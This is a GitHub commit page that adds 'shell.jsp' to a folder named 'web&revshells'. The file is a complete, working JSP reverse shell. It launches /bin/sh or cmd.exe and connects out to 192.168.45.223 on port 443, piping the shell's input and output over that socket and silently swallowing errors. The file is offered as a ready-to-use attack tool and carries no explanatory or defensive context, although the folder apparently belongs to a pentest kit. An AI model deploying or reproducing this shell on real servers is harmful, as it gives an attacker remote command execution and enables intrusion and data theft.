Skip to content

Commit 09a7085

Browse files
authored
Create JSP shell for remote command execution
Added a JSP shell that connects to a remote server and executes commands.
1 parent 91012ea commit 09a7085

1 file changed

Lines changed: 58 additions & 0 deletions

File tree

web&revshells/shell.jsp

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
<%@page import="java.lang.*"%>
2+
<%@page import="java.util.*"%>
3+
<%@page import="java.io.*"%>
4+
<%@page import="java.net.*"%>
5+
6+
<%
7+
class StreamConnector extends Thread
8+
{
9+
InputStream wz;
10+
OutputStream al;
11+
12+
StreamConnector( InputStream wz, OutputStream al )
13+
{
14+
this.wz = wz;
15+
this.al = al;
16+
}
17+
18+
public void run()
19+
{
20+
BufferedReader kb = null;
21+
BufferedWriter o2K = null;
22+
try
23+
{
24+
kb = new BufferedReader( new InputStreamReader( this.wz ) );
25+
o2K = new BufferedWriter( new OutputStreamWriter( this.al ) );
26+
char buffer[] = new char[8192];
27+
int length;
28+
while( ( length = kb.read( buffer, 0, buffer.length ) ) > 0 )
29+
{
30+
o2K.write( buffer, 0, length );
31+
o2K.flush();
32+
}
33+
} catch( Exception e ){}
34+
try
35+
{
36+
if( kb != null )
37+
kb.close();
38+
if( o2K != null )
39+
o2K.close();
40+
} catch( Exception e ){}
41+
}
42+
}
43+
44+
try
45+
{
46+
String ShellPath;
47+
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
48+
ShellPath = new String("/bin/sh");
49+
} else {
50+
ShellPath = new String("cmd.exe");
51+
}
52+
53+
Socket socket = new Socket( "192.168.45.223", 443 );
54+
Process process = Runtime.getRuntime().exec( ShellPath );
55+
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
56+
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
57+
} catch( Exception e ) {}
58+
%>

0 commit comments

Comments
 (0)